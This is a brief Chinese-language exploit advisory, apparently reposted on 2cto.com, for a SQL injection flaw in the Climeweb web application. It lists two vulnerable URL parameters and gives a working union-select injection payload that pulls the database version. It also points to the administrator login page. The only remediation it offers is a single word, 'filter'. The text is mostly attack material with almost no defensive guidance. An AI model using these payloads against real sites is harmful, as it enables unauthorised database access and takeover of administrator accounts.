标题: Climeweb Blind SQL Injection Vulnerability

作者: poach3r www.2cto.com

下载地址: http://www.climeweb.com/

测试平台: Windows XP SP3

 

测试:

 

http://www.2cto.com /path/indux.php?id=[SQL]

 

http://www.2cto.com /path/newsdetails.php?News_Id=[SQL]

 

示例:

 

http://www.2cto.com /path/indux.php?id=-2+union+select+1,version(),3,4,5+admin--

 

# 管理登陆入口:

 

http://www.2cto.com /path/admin/login.php

 

==========================================================================

修复：过滤